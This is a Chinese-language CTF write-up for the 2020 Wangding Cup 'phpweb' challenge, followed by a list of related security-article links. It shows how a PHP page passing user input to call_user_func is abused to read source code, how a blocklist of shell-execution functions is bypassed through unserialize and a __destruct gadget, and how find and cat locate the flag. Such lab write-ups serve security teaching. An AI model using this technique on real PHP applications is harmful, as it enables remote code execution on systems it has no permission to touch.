BUU29 [网鼎杯 2020 朱雀组]phpweb1

开幕雷击:

听不懂思密达

抓个包看看

发现传入一个函数

复制代码
func=date&p=Y-m-d+h%3Ai%3As+a

p 通常作为参数的值传递给前面指定的函数,将其url解码后得到 Y-m-d h:i:s a,这是 date() 函数中用于指定日期和时间格式的字符串

  • Y:表示四位数的年份,例如 2025。
  • m:表示两位数的月份,范围从 01 到 12。
  • d:表示两位数的日期,范围从 01 到 31。
  • h:表示 12 小时制的小时数,范围从 01 到 12。
  • i:表示分钟数,范围从 00 到 59。
  • s:表示秒数,范围从 00 到 59。
  • a:表示上午或下午,值为 am 或 pm。

尝试着这么构造,发现不行

输入

html 复制代码
func=highlight_file&p=index.php 

这样就能看见源代码了

另一种读取源代码方式:file_get_content()

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

call_user_func() 函数允许你将函数名作为一个字符串传递给该函数,并可以向被调用的函数传递参数。

利用反序列化漏洞,既然可以执行任何函数,那么就可以执行unserialize()

然后就能遍历目录,但是没有flag

查看根目录:

还是没有

用find搜索:

html 复制代码
find / -name flag*

发现有flag

使用cat命令

拿到flag

相关推荐
云水一下5 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
程序员若风6 天前
CSRF攻击原理介绍和利用-腾讯云开发者社区
前端·网络·安全·web安全·网络安全·csrf攻击·腾讯云开发者社区
白猫不黑6 天前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
迪康Defender6 天前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)6 天前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
sbjdhjd7 天前
从日志包含到临时文件竞争:文件包含进阶复盘中的 Docker、Windows 与 Session 限制
网络·安全·web安全·网络安全·数据挖掘·php·rce
白猫不黑7 天前
网络安全面试题大全:22道高频题附解析与答案
web安全·计算机·网络安全·信息安全·渗透测试·编程·面试题
白猫不黑7 天前
零基础如何学习网络安全:从入门到实战的完整路线图
web安全·计算机·网络安全·黑客·信息安全·渗透测试·代码审计
蒲公英eric8 天前
DVWA通关全记录:从漏洞复现到安全防御——总结篇
web安全·ai·dvwa·ai安全
Koi慢热8 天前
DayDayMap学术社区体验:卫星网络测绘专题用下来怎么样
网络·人工智能·windows·web安全·网络安全